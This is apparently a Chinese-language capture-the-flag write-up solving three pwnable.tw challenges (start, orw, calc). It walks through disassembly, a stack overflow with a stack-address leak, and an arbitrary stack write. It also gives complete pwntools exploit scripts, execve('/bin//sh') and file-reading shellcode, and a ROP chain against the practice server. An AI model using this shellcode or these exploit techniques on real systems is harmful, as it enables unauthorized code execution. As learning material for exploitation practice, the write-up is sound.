start
查看汇编代码:
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80
可以看到汇编代码使用的是 int 80
陷入中断的方式进行系统调用,这是 Linux 2.6 之前的通用做法,在这里贴一个 syscall 的相应链接供参考: https://w3challs.com/syscalls/
根据代码推测逻辑如下:
void _start() {
char buf[20] = "Let's start the CTF:";
sys_write(1,buf,20);
sys_read(0,buf,60);
}
void _exit() {
sys_exit();
}
很明显栈的长度有限因此如果输入长度超过 20 的话,能够导致栈溢出。因此我们只需要在栈上写入一段 shellcode 并通过控制程序控制流的方式即可 get shell,但这里有以下一个问题,由于 ASLR 的问题,无法获得栈的基地址。这也使得我们无法直接确认可以跳转的地址,因此需要泄露栈基地址。
此时发现有 add $0x14,%esp
可以得到栈的基地址(esp
),因此如果修改返回地址,将程序返回到地址 0x08048087
,此时程序相当于执行了 sys_write(1,esp,20)
,就能泄露我们需要的栈地址了。剩下的工作则是编写 shellcode 和计算相应的偏移。
shellcode 对应的代码如下(这里参考了 DogeWatch’s Blog 的做法),实际上的结果就是执行了 execve("/bin//sh", NULL, NULL)
:
31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb
cd 80 int 0x80
最终脚本如下:
from pwn import *
DEBUG = False
if DEBUG:
r = process("./start")
else:
r = remote("chall.pwnable.tw", 10000)
def leak():
print(r.recvuntil(":"))
payload = 'a'*20 + p32(0x08048087)
r.send(payload)
stack_addr = u32(r.recv(4))
print("stack address is {}".format(hex(stack_addr)))
return stack_addr
def pwn(stack_addr):
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(stack_addr+20) + shellcode
r.send(payload)
def main():
stack_addr = leak()
pwn(stack_addr)
r.interactive()
main()
得到 FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}
思路回顾整理如下:
- 发现存在栈溢出 => 栈溢出执行 shellcode
- 栈地址随意化 => 泄露栈地址
- 根据栈地址编写 shellcode
orw
本题主要考查的是 shellcode 的编写能力,orw
即为 open
/ read
/ write
的三项基本操作。
from pwn import *
shellcode = '''
_start:
jmp end
open:
pop ebx
mov ecx, 0
mov eax, 5
int 0x80
mov ebx, eax
mov ecx, esp
mov edx, 40
mov eax, 3
int 0x80
mov ebx, 1
mov eax, 4
int 0x80
mov eax, 1
int 0x80
end:
call open
'''
r = remote('chall.pwnable.tw', 10001)
shellcode = asm(shellcode)
r.sendlineafter(':', shellcode+"/home/orw/flag\x00")
r.interactive()
calc
本题需要先理解程序的逻辑,利用 ida 查看对应源码:
可以很明显地看到程序的逻辑如下:
- 调用
get_expr
函数过滤除了 +,-,*,/,% 和数字之外的其他字符 init_pool
函数会初始化保存中间数据的一段内存,这里我将其重命名为pool
方便理解parse_expr
函数对表达式进行解析,并将结果写到pool
上- 输出
pool
上保存的最终值
下面一个函数则是程序的漏洞所在:
如果按照正常的执行过程,程序的结构如下:
- pool[0] = 2
- pool[1] = num1
- pool[2] = num2
然后执行完后变成:
- pool[0] = 1
- pool[1] = num1 OP num2
但如果用户以 +600
作为输入的话,则是如下结果:
- pool[0] = 1
- pool[1] = 600
执行完则成为:
- pool[0] = 600
如果我们的输入是 +600+300
,则最终结果会变成 pool[600] += 300
, 由此触发了对栈上任意地址的写操作。
而且由于我们拥有的是任意地址写,所以可以绕过 canary 对栈的防护。很明显我们可以通过任意地址写来劫持程序的控制流,最终触发 system("/bin/sh")
由于开启了 NX,栈上不能直接执行 shellcode,而且由于程序是静态链接的,因此不能通过修改 GOT 表的方式调用 sys 函数,所以需要通过 ROP 劫持控制流,进而通过 int 0x80
进行系统调用。
在这之前,我们需要清楚程序的栈结构,这里可以参考 Pwnable.tw刷题之calc,个人认为其中的两个示意图非常清晰,易于理解。
最后需要构造的栈结构如下:
pool[370] = u32("/sh\x00")
pool[369] = u32("/bin")
pool[368] = 0x08049a21 // int 0x80
pool[367] = address // "/bin/sh\x00" 字符串的地址
pool[366] = 0
pool[365] = 0x080701d1 // pop ecx;pop ebx;ret
pool[364] = 0
pool[363] = 0x080701aa // pop edx;ret
pool[362] = 11
pool[361] = 0x0805c34b // pop eax;ret
下面需要思考的则是如何获取 "/bin/sh\x00"
字符串所指向的地址。我们可以通过保存在 pool[360]
上的 ebp
,即 main 函数的栈基地址推算出字符串对应的地址,具体推算示意图如下:
构造脚本如下:
from pwn import *
LOCAL = not True
DEBUG = False
if LOCAL:
r = process("./calc")
if DEBUG:
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(s)[0])
else:
r = remote("chall.pwnable.tw", 10100)
def leak():
payload = "+360"
r.sendline(payload)
base = int(r.recv().strip())
return base & 0xFFFFFFFF
def get_ebp(base):
size = base - (base & 0xFFFFFFF0 - 16)
print("base is {}".format(hex(base)))
print("stack size is {}".format(size))
ebp = base - (size + 4) + 32
if ebp > 0x8FFFFFFF:
ebp -= 0x100000000
return ebp
def write(pos, value):
payload = "+{}".format(pos)
r.sendline(payload)
v1 = int(r.recv().strip())
v2 = value - v1
payload = "+{}{}{}".format(pos, '+' if v2 > 0 else '', v2)
r.sendline(payload)
r.recv()
def pwn():
# leak
base = leak()
# 0x0805c34b : pop eax ; ret
write(361, 0x0805c34b)
write(362, 11)
# 0x080701aa : pop edx ; ret
write(363, 0x080701aa)
write(364, 0)
# 0x080701d1 : pop ecx ; pop ebx ; ret
write(365, 0x080701d1)
write(366, 0)
write(367, get_ebp(base))
# 0x08049a21 : int 0x80
write(368, 0x08049a21)
write(369, u32("/bin"))
write(370, u32("/sh\x00"))
def main():
print(r.recvuntil("=== Welcome to SECPROG calculator ===\n"))
pwn()
r.interactive()
if __name__ == '__main__':
main()
小结
花了一周来做(理解)这三道题,希望这次 pwn 的(再)入门能成功(残念